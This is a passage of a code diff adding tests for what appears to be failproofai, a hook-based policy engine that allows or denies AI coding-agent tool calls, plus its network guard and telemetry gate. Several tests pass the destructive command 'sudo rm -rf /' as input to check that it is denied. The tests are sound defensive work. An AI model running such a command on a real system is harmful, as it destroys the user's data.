loop: real socket, real + * framing, real policy evaluation (not mocked) — proves the worker + * genuinely reuses the unchanged evaluation engine rather than a stub. + */ +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; +import { createConnection, type Socket } from "node:net"; +import { createHash } from "node:crypto"; +import { mkdtempSync, rmSync, writeFileSync, mkdirSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +vi.mock("../../src/hooks/hook-telemetry", () => ({ + trackHookEvent: vi.fn(() => Promise.resolve()), + flushHookTelemetry: vi.fn(() => Promise.resolve()), +})); + +function encodeFrame(value: unknown): Buffer { + const body = Buffer.from(JSON.stringify(value), "utf8"); + const header = Buffer.alloc(4); + header.writeUInt32BE(body.length, 0); + return Buffer.concat([header, body]); +} + +function readFrame(socket: Socket): Promise> { + return new Promise((resolvePromise, reject) => { + let buf = Buffer.alloc(0); + let declaredLen: number | null = null; + const onData = (chunk: Buffer) => { + buf = Buffer.concat([buf, chunk]); + if (declaredLen === null) { + if (buf.length < 4) return; + declaredLen = buf.readUInt32BE(0); + buf = buf.subarray(4); + } + if (buf.length < declaredLen) return; + socket.off("data", onData); + resolvePromise(JSON.parse(buf.subarray(0, declaredLen).toString("utf8"))); + }; + socket.on("data", onData); + socket.on("error", reject); + }); +} + +/** + * Claude's PreToolUse deny contract is JSON on stdout at exit code 0 + * (`hookSpecificOutput.permissionDecision`), not a nonzero exit code — see + * policy-evaluator.ts. Parse it out rather than asserting on exitCode. + */ +function permissionDecisionOf(response: Record): string | undefined { + const stdout = response.stdout; + if (typeof stdout !== "string" || !stdout) return undefined; + try { + const parsed = JSON.parse(stdout) as { hookSpecificOutput?: { permissionDecision?: string } }; + return parsed.hookSpecificOutput?.permissionDecision; + } catch { + return undefined; + } +} + +async function sendRequest(socketPath: string, request: unknown): Promise> { + return new Promise((resolvePromise, reject) => { + const socket = createConnection({ path: socketPath }, () => { + socket.write(encodeFrame(request)); + }); + readFrame(socket) + .then((msg) => { + socket.end(); + resolvePromise(msg); + }) + .catch(reject); + socket.on("error", reject); + }); +} + +describe("hooks/worker-server (real socket, real evaluation)", () => { + let projectDir: string; + let workerSocketPath: string; + let server: import("node:net").Server; + + beforeEach(async () => { + projectDir = mkdtempSync(join(tmpdir(), "fpai-worker-server-test-")); + mkdirSync(join(projectDir, ".failproofai"), { recursive: true }); + writeFileSync( + join(projectDir, ".failproofai", "policies-config.json"), + JSON.stringify({ enabledPolicies: ["block-sudo"] }), + ); + + workerSocketPath = join(tmpdir(), `fpai-worker-server-test-${process.pid}-${Date.now()}.sock`); + const { startWorkerServer } = await import("../../src/hooks/worker-server"); + server = startWorkerServer(workerSocketPath); + await new Promise((resolvePromise) => { + if (server.listening) resolvePromise(); + else server.once("listening", () => resolvePromise()); + }); + }); + + afterEach(async () => { + await new Promise((r) => server.close(() => r())); + delete process.env.FAILPROOFAI_CLOUD_POLICY_DIR; + delete process.env.FAILPROOFAI_POLICY_LOAD_TIMEOUT_MS; + delete (globalThis as Record).__fpaiRepeatLoadCount; + rmSync(projectDir, { recursive: true, force: true }); + }); + + it("denies a sudo command via the real, unmodified builtin policy engine", async () => { + const response = await sendRequest(workerSocketPath, { + type: "hook", + hookEvent: "PreToolUse", + cli: "claude", + stdin: JSON.stringify({ + cwd: projectDir, + tool_name: "Bash", + tool_input: { command: "sudo rm -rf /" }, + }), + }); + expect(response.type).toBe("hookResult"); + expect(response.exitCode).toBe(0); + expect(permissionDecisionOf(response)).toBe("deny"); + }); + + // The daemon forwards the hook with `json!({ "cwd": cwd })`, and serde writes + // `None` as an explicit NULL rather than omitting the key. The validator here + // accepted only `undefined`, so every request that legitimately carried no cwd + // was answered "unrecognized request shape" — including the setup health + // probe, which sends none. `failproofai config` therefore aborted with "its + // worker process could not be run" against a daemon and worker that were both + // healthy and whose logs said so. On a daemonConfigured machine the same + // mismatch denies the tool call rather than merely failing setup. + it("accepts a request whose cwd is NULL, the way the daemon actually sends it", async () => { + const response = await sendRequest(workerSocketPath, { + type: "hook", + hookEvent: "SessionStart", + cli: "claude", + cwd: null, + stdin: JSON.stringify({ hook_event_name: "SessionStart", source: "failproofai-health-probe" }), + }); + expect(response.type).toBe("hookResult"); + expect(response.exitCode).toBe(0); + }); + + it("accepts a request with no cwd key at all", async () => { + const response = await sendRequest(workerSocketPath, { + type: "hook", + hookEvent: "SessionStart", + cli: "claude", + stdin: JSON.stringify({ hook_event_name: "SessionStart", source: "failproofai-health-probe" }), + }); + expect(response.type).toBe("hookResult"); + expect(response.exitCode).toBe(0); + }); + + it("still refuses a cwd of the wrong TYPE", async () => { + // Tolerating "absent" must not become tolerating anything: a number here is + // a malformed request, not an optional field. + const response = await sendRequest(workerSocketPath, { + type: "hook", + hookEvent: "SessionStart", + cli: "claude", + cwd: 42, + stdin: JSON.stringify({ hook_event_name: "SessionStart" }), + }); + expect(response.type).toBe("error"); + }); + + it("allows a benign command through the real policy engine", async () => { + const response = await sendRequest(workerSocketPath, { + type: "hook", + hookEvent: "PreToolUse", + cli: "claude", + stdin: JSON.stringify({ + cwd: projectDir, + tool_name: "Bash", + tool_input: { command: "ls -la" }, + }), + }); + expect(response.type).toBe("hookResult"); + expect(response.exitCode).toBe(0); + }); + + it("handles multiple requests on the same connection-per-request pattern sequentially and correctly", async () => { + const results = await Promise.all([ + sendRequest(workerSocketPath, { + type: "hook", + hookEvent: "PreToolUse", + cli: "claude", + stdin: JSON.stringify({ cwd: projectDir, tool_name: "Bash", tool_input: { command: "sudo ls" } }), + }), + sendRequest(workerSocketPath, { + type: "hook", + hookEvent: "PreToolUse", + cli: "claude", + stdin: JSON.stringify({ cwd: projectDir, tool_name: "Bash", tool_input: { command: "echo hi" } }), + }), + sendRequest(workerSocketPath, { + type: "hook", + hookEvent: "PreToolUse", + cli: "claude", + stdin: JSON.stringify({ cwd: projectDir, tool_name: "Bash", tool_input: { command: "sudo whoami" } }), + }), + ]); + expect(permissionDecisionOf(results[0])).toBe("deny"); // sudo -> deny + expect(permissionDecisionOf(results[1])).toBeUndefined(); // echo -> allow + expect(permissionDecisionOf(results[2])).toBe("deny"); // sudo -> deny + }); + + it("re-executes an explicit custom policy on every warm-worker request", async () => { + const policyPath = join(projectDir, "custom-policy.mjs"); + writeFileSync( + policyPath, + `import { customPolicies, allow, deny } from "failproofai"; +globalThis.__fpaiRepeatLoadCount = (globalThis.__fpaiRepeatLoadCount ?? 0) + 1; +const moduleLoadCount = globalThis.__fpaiRepeatLoadCount; +customPolicies.add({ + name: "repeat-load", + description: "must survive warm worker reloads", + match: { events: ["PreToolUse"], tools: ["Bash"] }, + fn: async (ctx) => String(ctx.toolInput?.command ?? "").includes("blocked-custom") + ? deny("custom policy blocked the command at module-load-" + moduleLoadCount) + : allow(), +});\n`, + ); + writeFileSync( + join(projectDir, ".failproofai", "policies-config.json"), + JSON.stringify({ enabledPolicies: [], customPoliciesPaths: [policyPath] }), + ); + + for (let requestNumber = 0; requestNumber < 3; requestNumber++) { + const response = await sendRequest(workerSocketPath, { + type: "hook", + hookEvent: "PreToolUse", + cli: "claude", + stdin: JSON.stringify({ + cwd: projectDir, + tool_name: "Bash", + tool_input: { command: `echo blocked-custom-${requestNumber}` }, + }), + }); + expect(permissionDecisionOf(response), `warm request ${requestNumber + 1}`).toBe("deny"); + expect(response.stdout).toContain("custom policy blocked the command at module-load-1"); + } + }); + + it("loads a hash-verified active cloud policy with a cloud-qualified identity", async () => { + const managedRoot = join(projectDir, "cloud-managed"); + const generationDir = join(managedRoot, "generations", "42"); + mkdirSync(generationDir, { recursive: true }); + const policyPath = join(generationDir, "org-guard.mjs"); + const policyBytes = `import { customPolicies, deny } from "failproofai"; +customPolicies.add({ + name: "org-guard", + description: "cloud managed test guard", + match: { events: ["PreToolUse"], tools: ["Bash"] }, + fn: async () => deny("cloud-managed policy blocked the command"), +});\n`; + writeFileSync(policyPath, policyBytes); + const sha256 = createHash("sha256").update(policyBytes).digest("hex"); + writeFileSync( + join(managedRoot, "active.json"), + JSON.stringify({ + schemaVersion: 1, + generation: 42, + policies: [ + { + id: "org-guard", + revision: 8, + sha256, + path: "generations/42/org-guard.mjs", + }, + ], + }), + ); + process.env.FAILPROOFAI_CLOUD_POLICY_DIR = managedRoot; + + // A local disabledCustomPolicies entry with the generated cloud ID must + // not override a centrally assigned policy. + writeFileSync( + join(projectDir, ".failproofai", "policies-config.json"), + JSON.stringify({ + enabledPolicies: [], + disabledCustomPolicies: ["cloud:org-guard@8:org-guard"], + }), + ); + + for (let requestNumber = 0; requestNumber < 2; requestNumber++) { + const response = await sendRequest(workerSocketPath, { + type: "hook", + hookEvent: "PreToolUse", + cli: "claude", + stdin: JSON.stringify({ + cwd: projectDir, + tool_name: "Bash", + tool_input: { command: `echo cloud-request-${requestNumber}` }, + }), + }); + expect(permissionDecisionOf(response)).toBe("deny"); + expect(response.stdout).toContain("cloud-managed policy blocked the command"); + } + }); + + it("uses fallbackCwd when the stdin payload carries no cwd at all", async () => { + // No cwd in the payload — the worker must inject the client-forwarded + // cwd rather than resolving project config against its own process.cwd(). + const response = await sendRequest(workerSocketPath, { + type: "hook", + hookEvent: "PreToolUse", + cli: "claude", + cwd: projectDir, + stdin: JSON.stringify({ tool_name: "Bash", tool_input: { command: "sudo ls" } }), + }); + expect(response.type).toBe("hookResult"); + expect(permissionDecisionOf(response)).toBe("deny"); + }); + + it("returns an error response for a malformed (non-JSON) frame body, without crashing the server", async () => { + const response = await new Promise>((resolvePromise, reject) => { + const socket = createConnection({ path: workerSocketPath }, () => { + const body = Buffer.from("not json", "utf8"); + const header = Buffer.alloc(4); + header.writeUInt32BE(body.length, 0); + socket.write(Buffer.concat([header, body])); + }); + readFrame(socket) + .then((msg) => { + socket.end(); + resolvePromise(msg); + }) + .catch(reject); + socket.on("error", reject); + }); + expect(response.type).toBe("error"); + + // The server must still be alive and answer a subsequent valid request. + const followUp = await sendRequest(workerSocketPath, { + type: "hook", + hookEvent: "PreToolUse", + cli: "claude", + stdin: JSON.stringify({ cwd: projectDir, tool_name: "Bash", tool_input: { command: "echo still-alive" } }), + }); + expect(followUp.type).toBe("hookResult"); + expect(followUp.exitCode).toBe(0); + }); + + it("returns an error response for an unrecognized request shape", async () => { + const response = await sendRequest(workerSocketPath, { type: "ping" }); + expect(response.type).toBe("error"); + }); + + it("speaks ONLY the hook protocol — the audit must never be routed onto this chain", async () => { + // A tripwire, not a feature test. Every request here is serialized through + // ONE promise chain (see the module header), `worker.rs` caps a call at 30 + // seconds, and `daemon-client.ts` turns that timeout into a DENY — so on a + // daemon-configured machine, putting the ~104-second audit on this socket + // would be a fail-closed denial of every tool call across all 12 CLIs for + // as long as the scan ran. The daemon's audit lane therefore spawns a + // SEPARATE short-lived process (crates/failproofaid/src/audit_lane.rs). + // + // If someone later "optimises" that into a worker request to save a process + // spawn, this is what fails: adding an `audit` arm to isWorkerHookRequest + // makes the assertion below stop holding. + for (const request of [ + { type: "audit" }, + { type: "audit", scheduled: true }, + { type: "runAudit", hookEvent: "PreToolUse", cli: "claude", stdin: "{}" }, + ]) { + const response = await sendRequest(workerSocketPath, request); + expect(response.type).toBe("error"); + expect(response.message).toBe("unrecognized request shape"); + } + + // And the one thing it does speak still works, so this is a rejection of + // the request type rather than a wedged server. + const hook = await sendRequest(workerSocketPath, { + type: "hook", + hookEvent: "PreToolUse", + cli: "claude", + stdin: JSON.stringify({ cwd: projectDir, tool_name: "Bash", tool_input: { command: "echo ok" } }), + }); + expect(hook.type).toBe("hookResult"); + }); + + it("answers both requests when two frames arrive coalesced in one read", async () => { + // Two requests written back-to-back on one connection routinely land in + // a single `data` event. Decoding only the first leaves the second + // stranded in the receive buffer until some *later* write happens to + // arrive — meanwhile the caller sees no response and hits its own + // fail-closed timeout against a daemon that is working fine. + const frame = (command: string) => + encodeFrame({ + type: "hook", + hookEvent: "PreToolUse", + cli: "claude", + stdin: JSON.stringify({ cwd: projectDir, tool_name: "Bash", tool_input: { command } }), + }); + + const responses = await new Promise[]>((resolvePromise, reject) => { + const socket = createConnection({ path: workerSocketPath }, () => { + // One write, both frames — the coalesced case, deterministically. + socket.write(Buffer.concat([frame("sudo rm -rf /"), frame("echo hi")])); + }); + const collected: Record[] = []; + let buf = Buffer.alloc(0); + let declaredLen: number | null = null; + socket.on("data", (chunk: Buffer) => { + buf = Buffer.concat([buf, chunk]); + for (;;) { + if (declaredLen === null) { + if (buf.length < 4) return; + declaredLen = buf.readUInt32BE(0); + buf = buf.subarray(4); + } + if (buf.length < declaredLen) return; + collected.push(JSON.parse(buf.subarray(0, declaredLen).toString("utf8"))); + buf = buf.subarray(declaredLen); + declaredLen = null; + if (collected.length === 2) { + socket.end(); + resolvePromise(collected); + return; + } + } + }); + socket.on("error", reject); + }); + + expect(responses.map((r) => r.type)).toEqual(["hookResult", "hookResult"]); + expect(permissionDecisionOf(responses[0])).toBe("deny"); // sudo + expect(permissionDecisionOf(responses[1])).toBeUndefined(); // echo + }); + + /** + * The regression this exists for wedges the whole machine, not one request. + * + * `enqueue`'s `.catch()` keeps the serialization chain alive when a task + * REJECTS. A policy file whose top level awaits a promise that never resolves + * makes the task never SETTLE — no rejection, so nothing above it ever runs — + * and every hook queued behind it waits forever. On a daemon-configured + * machine each client then burns its 30s budget and fail-closed denies, for + * every CLI, until someone restarts the daemon. + * + * A second request completing normally after the hanging one is the whole + * assertion: it can only happen if the first task settled. + */ + it("does not wedge the queue when a policy file's top-level await never resolves", async () => { + process.env.FAILPROOFAI_POLICY_LOAD_TIMEOUT_MS = "300"; + const policyPath = join(projectDir, "hanging-policy.mjs"); + writeFileSync( + policyPath, + `import { customPolicies, deny } from "failproofai"; +// Hangs BEFORE registering — the shape a policy file that awaits remote +// config at its top level takes when that fetch never returns. Nothing +// cancels this; the loader must stop waiting on it. +await new Promise(() => {}); +customPolicies.add({ + name: "never-registers", + description: "unreachable — the module never gets here", + match: { events: ["PreToolUse"] }, + fn: async () => deny("unreachable"), +});\n`, + ); + writeFileSync( + join(projectDir, ".failproofai", "policies-config.json"), + JSON.stringify({ enabledPolicies: ["block-sudo"], customPoliciesPaths: [policyPath] }), + ); + + const hung = await sendRequest(workerSocketPath, { + type: "hook", + hookEvent: "PreToolUse", + cli: "claude", + stdin: JSON.stringify({ cwd: projectDir, tool_name: "Bash", tool_input: { command: "echo one" } }), + }); + // The hanging file is reported as failed to load and skipped, not applied. + expect(hung.type).toBe("hookResult"); + expect(permissionDecisionOf(hung)).toBeUndefined(); + + // The chain moved on: a later request still gets a real answer, and the + // unaffected builtin still enforces. + const after = await sendRequest(workerSocketPath, { + type: "hook", + hookEvent: "PreToolUse", + cli: "claude", + stdin: JSON.stringify({ cwd: projectDir, tool_name: "Bash", tool_input: { command: "sudo rm -rf /" } }), + }); + expect(after.type).toBe("hookResult"); + expect(permissionDecisionOf(after)).toBe("deny"); + }, 20_000); +}); diff --git a/__tests__/lib/install-check.test.ts b/__tests__/lib/install-check.test.ts index f1060425..be4da2cb 100644 --- a/__tests__/lib/install-check.test.ts +++ b/__tests__/lib/install-check.test.ts @@ -7,8 +7,20 @@ import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; import { resolve } from "node:path"; const FAKE_HOME = "/fake/home"; -const LAST_VERSION = resolve(FAKE_HOME, ".failproofai", "last-version"); -const HOOKS_CONFIG = resolve(FAKE_HOME, ".failproofai", "policies-config.json"); +// Layout-2 paths, via the same shape `fp-home.ts` builds. `last-version` moved +// under `state/` because at the root it doubled as one of the landmarks +// `detectLayout()` reads as "layout 1" — and this file writes it, so a fresh +// machine reported itself stale. The hooks config moved with the rest of the +// policy tree; reading the old path made `checkHooks()` report every layout-2 +// install as unconfigured with zero policies. +const LAST_VERSION = resolve(FAKE_HOME, ".failproofai", "state", "last-version"); +const HOOKS_CONFIG = resolve( + FAKE_HOME, + ".failproofai", + "policies", + "local-policies", + "policies-config.json", +); const USER_SETTINGS = resolve(FAKE_HOME, ".claude", "settings.json"); vi.mock("node:fs", () => ({ diff --git a/__tests__/lib/pi-sessions.test.ts b/__tests__/lib/pi-sessions.test.ts index 2be52274..9fb2ad07 100644 --- a/__tests__/lib/pi-sessions.test.ts +++ b/__tests__/lib/pi-sessions.test.ts @@ -3,6 +3,7 @@ import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; import { mkdtempSync, mkdirSync, rmSync, writeFileSync, unlinkSync } from "node:fs"; import { join } from "node:path"; import { tmpdir } from "node:os"; +import type { AssistantEntry, ContentBlock, ToolUseBlock } from "@/lib/log-entries"; const SAFE_UUID = "00000000-0000-4000-8000-000000000001"; const SECOND_UUID = "00000000-0000-4000-8000-000000000002"; @@ -205,4 +206,142 @@ describe("lib/pi-sessions", () => { expect(mod.readPiTranscriptSync("../etc/passwd")).toBeNull(); }); }); + + // Record shapes below are verbatim from a live pi capture (0.73.1 and + // 0.83.0, driven against a real provider). Before this, `toolCall` blocks + // fell through to the generic "system" branch, so every tool event pi + // emitted was dropped — the parser looked correct because nothing asserted + // on a tool-using transcript. + describe("tool calls", () => { + const CALL_A = "toolu_bdrk_01AWG5F1T6gf9BGKRb2h21bP"; + const CALL_B = "toolu_bdrk_01QoT5TiSRRs8mfJzcMSMPAe"; + + function assistantContent(entries: Array<{ type: string }>): ContentBlock[] { + const assistant = entries.find((e) => e.type === "assistant") as AssistantEntry | undefined; + expect(assistant).toBeDefined(); + return assistant!.message.content; + } + + + function toolCallRecord(ts: string): string { + return JSON.stringify({ + type: "message", + id: "81470a2e", + timestamp: ts, + message: { + role: "assistant", + content: [ + { type: "toolCall", id: CALL_A, name: "bash", arguments: { command: "ls -la /tmp/probe-pi" } }, + { type: "toolCall", id: CALL_B, name: "read", arguments: { path: "/tmp/probe-pi/README.md" } }, + ], + stopReason: "toolUse", + }, + }); + } + + function toolResultRecord(callId: string, toolName: string, text: string, ts: string): string { + return JSON.stringify({ + type: "message", + id: "fe29ac29", + parentId: "81470a2e", + timestamp: ts, + message: { + role: "toolResult", + toolCallId: callId, + toolName, + content: [{ type: "text", text }], + isError: false, + timestamp: Date.parse(ts), + }, + }); + } + + it("parses toolCall blocks into tool_use blocks with their arguments", async () => { + writeSession(SAFE_UUID, "/home/u/repo", [toolCallRecord("2026-05-01T20:36:30.000Z")]); + const result = await mod.getPiSessionLog(SAFE_UUID); + const tools = assistantContent(result!.entries).filter( + (b): b is ToolUseBlock => b.type === "tool_use", + ); + expect(tools).toHaveLength(2); + expect(tools[0]).toMatchObject({ id: CALL_A, name: "bash", input: { command: "ls -la /tmp/probe-pi" } }); + expect(tools[1]).toMatchObject({ id: CALL_B, name: "read", input: { path: "/tmp/probe-pi/README.md" } }); + }); + + it("attaches a toolResult to its call by id, not by position", async () => { + // Results deliberately out of call order: pairing by position would put + // the `read` output on the `bash` call and neither would be detectably + // wrong from the shape alone. + writeSession(SAFE_UUID, "/home/u/repo", [ + toolCallRecord("2026-05-01T20:36:30.000Z"), + toolResultRecord(CALL_B, "read", "# Probe Pi", "2026-05-01T20:36:31.000Z"), + toolResultRecord(CALL_A, "bash", "total 144", "2026-05-01T20:36:32.000Z"), + ]); + const result = await mod.getPiSessionLog(SAFE_UUID); + const tools = assistantContent(result!.entries).filter( + (b): b is ToolUseBlock => b.type === "tool_use", + ); + + expect(tools.find((t) => t.id === CALL_A)!.result!.content).toBe("total 144"); + expect(tools.find((t) => t.id === CALL_B)!.result!.content).toBe("# Probe Pi"); + }); + + it("derives a duration from the call/result gap, since pi records none", async () => { + writeSession(SAFE_UUID, "/home/u/repo", [ + toolCallRecord("2026-05-01T20:36:30.000Z"), + toolResultRecord(CALL_A, "bash", "total 144", "2026-05-01T20:36:32.500Z"), + ]); + const result = await mod.getPiSessionLog(SAFE_UUID); + const tool = assistantContent(result!.entries).find( + (b): b is ToolUseBlock => b.type === "tool_use" && b.id === CALL_A, + ); + expect(tool!.result!.durationMs).toBe(2500); + }); + + it("keeps an orphan toolResult as a system entry rather than dropping it", async () => { + // A result whose call is not in this file (truncated, or a resumed + // session split across files) must still be preserved. + writeSession(SAFE_UUID, "/home/u/repo", [ + toolResultRecord("toolu_never_seen", "bash", "orphaned", "2026-05-01T20:36:31.000Z"), + ]); + const result = await mod.getPiSessionLog(SAFE_UUID); + const system = result!.entries.filter((e) => e.type === "system"); + expect(system).toHaveLength(1); + }); + + it("handles 0.83.0's mixed text+toolCall assistant content", async () => { + // 0.73.1 emitted ["toolCall","toolCall"]; 0.83.0 adds leading prose. + // Assistant content must not be assumed homogeneous. + const mixed = JSON.stringify({ + type: "message", + id: "abc", + timestamp: "2026-05-01T20:36:30.000Z", + message: { + role: "assistant", + content: [ + { type: "text", text: "Let me look at that." }, + { type: "toolCall", id: CALL_A, name: "bash", arguments: { command: "ls" } }, + ], + stopReason: "toolUse", + }, + }); + writeSession(SAFE_UUID, "/home/u/repo", [mixed]); + const result = await mod.getPiSessionLog(SAFE_UUID); + const content = assistantContent(result!.entries); + expect(content.map((b) => b.type)).toEqual(["text", "tool_use"]); + }); + + it("gives a toolCall with no id a synthetic one so it still renders", async () => { + const noId = JSON.stringify({ + type: "message", + id: "abc", + timestamp: "2026-05-01T20:36:30.000Z", + message: { role: "assistant", content: [{ type: "toolCall", name: "bash", arguments: { command: "ls" } }] }, + }); + writeSession(SAFE_UUID, "/home/u/repo", [noId]); + const result = await mod.getPiSessionLog(SAFE_UUID); + const content = assistantContent(result!.entries); + expect(content[0].type).toBe("tool_use"); + expect((content[0] as ToolUseBlock).id).toBeTruthy(); + }); + }); }); diff --git a/__tests__/lib/telemetry-enabled.test.ts b/__tests__/lib/telemetry-enabled.test.ts new file mode 100644 index 00000000..bcdeb338 --- /dev/null +++ b/__tests__/lib/telemetry-enabled.test.ts @@ -0,0 +1,84 @@ +// @vitest-environment node +/** + * The shared telemetry gate. Four dispatchers consult this; if they could + * disagree, the opt-out would be one that silently does not hold. + */ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { resolve } from "node:path"; +import { isTelemetryEnabled } from "../../lib/telemetry-enabled"; +import { configFile } from "../../src/hooks/fp-home"; + +let home: string; +const ORIGINAL_HOME = process.env.FAILPROOFAI_HOME; +const ORIGINAL_DISABLED = process.env.FAILPROOFAI_TELEMETRY_DISABLED; + +beforeEach(() => { + home = mkdtempSync(resolve(tmpdir(), "fpai-tel-")); + process.env.FAILPROOFAI_HOME = home; + delete process.env.FAILPROOFAI_TELEMETRY_DISABLED; +}); + +afterEach(() => { + if (ORIGINAL_HOME === undefined) delete process.env.FAILPROOFAI_HOME; + else process.env.FAILPROOFAI_HOME = ORIGINAL_HOME; + if (ORIGINAL_DISABLED === undefined) delete process.env.FAILPROOFAI_TELEMETRY_DISABLED; + else process.env.FAILPROOFAI_TELEMETRY_DISABLED = ORIGINAL_DISABLED; + rmSync(home, { recursive: true, force: true }); +}); + +function writeTelemetryBlock(enabled: boolean): void { + writeFileSync(configFile(), `[telemetry]\nenabled = ${enabled}\n`); +} + +describe("isTelemetryEnabled", () => { + it("is ON with no config file and no env var — the shipped default", () => { + expect(isTelemetryEnabled()).toBe(true); + }); + + it("is OFF when the config file says so", () => { + // The documented off-switch, and the only one that can reach the daemon. + writeTelemetryBlock(false); + expect(isTelemetryEnabled()).toBe(false); + }); + + it("is OFF when the env var says so", () => { + process.env.FAILPROOFAI_TELEMETRY_DISABLED = "1"; + expect(isTelemetryEnabled()).toBe(false); + }); + + it("takes the MORE RESTRICTIVE of the two — env cannot re-enable a file opt-out", () => { + // An env var that could override a written preference is not an opt-out. + writeTelemetryBlock(false); + process.env.FAILPROOFAI_TELEMETRY_DISABLED = "0"; + expect(isTelemetryEnabled()).toBe(false); + }); + + it("takes the MORE RESTRICTIVE of the two — a file 'true' cannot beat the env var", () => { + writeTelemetryBlock(true); + process.env.FAILPROOFAI_TELEMETRY_DISABLED = "1"; + expect(isTelemetryEnabled()).toBe(false); + }); + + it("only the exact string \"1\" disables via env", () => { + for (const v of ["0", "", "true", "yes"]) { + process.env.FAILPROOFAI_TELEMETRY_DISABLED = v; + expect(isTelemetryEnabled(), v).toBe(true); + } + }); + + it("a malformed config resolves to the shipped default rather than a third answer", () => { + writeFileSync(configFile(), "[telemetry\nenabled = "); + expect(isTelemetryEnabled()).toBe(true); + }); + + it("re-reads on every call, so an opt-out takes effect without a restart", () => { + // Memoising this was the tempting optimisation and it is the wrong one: a + // long-lived process (dashboard server, warm worker) would keep reporting + // until it restarted, which is an opt-out that does not hold. + expect(isTelemetryEnabled()).toBe(true); + writeTelemetryBlock(false); + expect(isTelemetryEnabled()).toBe(false); + }); +}); diff --git a/__tests__/network-guard.test.ts b/__tests__/network-guard.test.ts new file mode 100644 index 00000000..afaef0e8 --- /dev/null +++ b/__tests__/network-guard.test.ts @@ -0,0 +1,49 @@ +/** + * The guard in `__tests__/setup.ts` — the thing standing between a missing test + * stub and an intermittently-red suite. + * + * Tested because a guard nobody exercises is a guard that quietly stops working: + * an `await` accidentally dropped from the wrapper, or the loopback list edited, + * would disarm it, every suite would still pass, and the next unstubbed network + * call would go back to failing one run in two on network weather. + */ +import { describe, it, expect } from "vitest"; + +describe("the unit-test network guard", () => { + it("blocks a call to an external host", async () => { + await expect(fetch("https://be.failproof.ai/v1/auth/introspect")).rejects.toThrow( + /must not reach the network/, + ); + }); + + it("names the host, so the missing stub is findable", async () => { + await expect(fetch("https://api.example.com/whatever")).rejects.toThrow(/api\.example\.com/); + }); + + it("rejects rather than throwing synchronously, like real fetch", async () => { + // A synchronous throw escapes `fetch(…).catch(…)` and crashes the caller + // instead of being handled — which would make the guard behave unlike the + // thing it replaces, and turn a diagnostic into a different bug. + let rejected = false; + const result = fetch("https://be.failproof.ai/").catch(() => { + rejected = true; + }); + expect(result).toBeInstanceOf(Promise); + await result; + expect(rejected).toBe(true); + }); + + it("lets loopback through, because six suites serve their own fixtures", async () => { + // Nothing is listening on this port, so this must fail as a CONNECTION + // error — which is the proof it was allowed through rather than blocked. + await expect(fetch("http://127.0.0.1:59999/")).rejects.not.toThrow( + /must not reach the network/, + ); + }); + + it("allows every loopback spelling", async () => { + for (const url of ["http://localhost:59999/", "http://127.0.0.1:59999/"]) { + await expect(fetch(url)).rejects.not.toThrow(/must not reach the network/); + } + }); +}); diff --git a/__tests__/scripts/parse-script-args.test.ts b/__tests__/scripts/parse-script-args.test.ts index 21d6a299..228b4a06 100644 --- a/__tests__/scripts/parse-script-args.test.ts +++ b/__tests__/scripts/parse-script-args.test.ts @@ -54,4 +54,33 @@ describe("parseScriptArgs", () => { expect(result.disableTelemetry).toBe(true); expect(result.remainingArgs).toEqual(["--turbopack"]); }); + + it("leaves host undefined by default, so the loopback default applies", () => { + expect(parseScriptArgs([]).host).toBeUndefined(); + }); + + it("parses --host in both forms", () => { + expect(parseScriptArgs(["--host", "0.0.0.0"]).host).toBe("0.0.0.0"); + expect(parseScriptArgs(["--host=192.168.1.5"]).host).toBe("192.168.1.5"); + expect(parseScriptArgs(["--host", "0.0.0.0"]).remainingArgs).toEqual([]); + }); + + // `bun run dev` passes anything it does not recognise straight to `next dev`, + // and Next's own spelling is `-H` / `--hostname`. Capturing only `--host` let + // a raw `-H 0.0.0.0` reach Next while `bindHost` stayed on the loopback + // default — so the server was reachable from the network and `proxy.ts` was + // told it was on loopback, which is precisely the combination that leaves the + // Host pin (forgeable by a non-browser client) as the only check and skips + // the no-Origin refusal written for a routable bind. + it.each([ + [["-H", "0.0.0.0"], "0.0.0.0"], + [["--hostname", "0.0.0.0"], "0.0.0.0"], + [["--hostname=192.168.1.5"], "192.168.1.5"], + ])("captures Next's own host spelling %s so the bind address cannot desync", (argv, expected) => { + const result = parseScriptArgs([...argv]); + expect(result.host).toBe(expected); + // Consumed, not passed through — launch.ts re-injects a single `-H + // `, so leaving it here would hand `next dev` two of them. + expect(result.remainingArgs).toEqual([]); + }); }); diff --git a/__tests__/setup.ts b/__tests__/setup.ts index d0de870d..3f3327c3 100644 --- a/__tests__/setup.ts +++ b/__tests__/setup.ts @@ -1 +1,58 @@ import "@testing-library/jest-dom"; + +/** + * Unit tests may not reach the public internet. + * + * Not a style rule — a correctness one, learned the expensive way. `--connect` + * grew a third network call (`/v1/auth/introspect`) whose test seam was not + * threaded through with it, so every test in `cloud-enrollment-cli.test.ts` + * silently began making a real request to `be.failproof.ai`. It *usually* + * resolved fast enough to pass, which is the worst available outcome: the suite + * went intermittently red on network weather rather than on anything a change + * had broken, and a green run stopped being evidence of anything. It reproduced + * at roughly one run in two, and passed on the machine that introduced it. + * + * Loopback stays allowed, because six suites legitimately stand up a local HTTP + * server and talk to it (daemon-download, daemon-client, cloud-enrollment, …) — + * that is a real dependency under the test's own control, not the network. + * + * The failure is deliberately loud and names the host, so the next person sees + * "which stub is missing" rather than a timeout with no cause attached. E2E runs + * under `vitest.config.e2e.mts`, which does not load this file: those tests are + * *supposed* to talk to real infrastructure. + */ +const LOOPBACK = new Set(["localhost", "127.0.0.1", "0.0.0.0", "::1", "[::1]"]); + +const realFetch = globalThis.fetch; +if (typeof realFetch === "function") { + // `async` so a block arrives as a REJECTED PROMISE, exactly as a real network + // failure does. Throwing synchronously would escape any `fetch(…).catch(…)` + // and crash the caller instead — turning a diagnostic into a different bug, + // and one that behaves unlike the thing it is standing in for. + globalThis.fetch = (async (input: Parameters[0], init?: RequestInit) => { + const raw = + typeof input === "string" + ? input + : input instanceof URL + ? input.href + : ((input as Request).url ?? ""); + + let host: string | null = null; + try { + host = new URL(raw).hostname; + } catch { + // A relative or unparseable URL reaches no external host by definition — + // let it through and fail on its own terms rather than on ours. + } + + if (host !== null && !LOOPBACK.has(host)) { + throw new Error( + `Unit tests 